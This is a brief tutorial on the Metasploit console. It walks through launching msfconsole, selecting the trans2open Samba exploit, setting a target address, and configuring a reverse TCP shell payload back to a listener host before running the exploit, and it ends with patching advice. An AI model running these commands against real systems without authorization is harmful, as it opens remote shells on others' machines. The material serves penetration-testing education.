The Metasploit Framework is a powerful penetration testing platform used to verify exploit severity during network audits. This brief covers standard console workflows.
1. Standard MSF Workflow
Launch the console in your terminal:
msfconsole
Search for an exploit module (e.g., outdated Samba service vulnerability):
search trans2open
Select the module to configure:
use exploit/linux/samba/trans2open
Set target IP parameters (RHOSTS) and payload options:
set RHOSTS 192.168.1.50
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST 192.168.1.20
Execute the audit module:
exploit
Security Best Practice: Keep all operating system packages updated using standard managers (like apt or yum) and disable unnecessary public network services.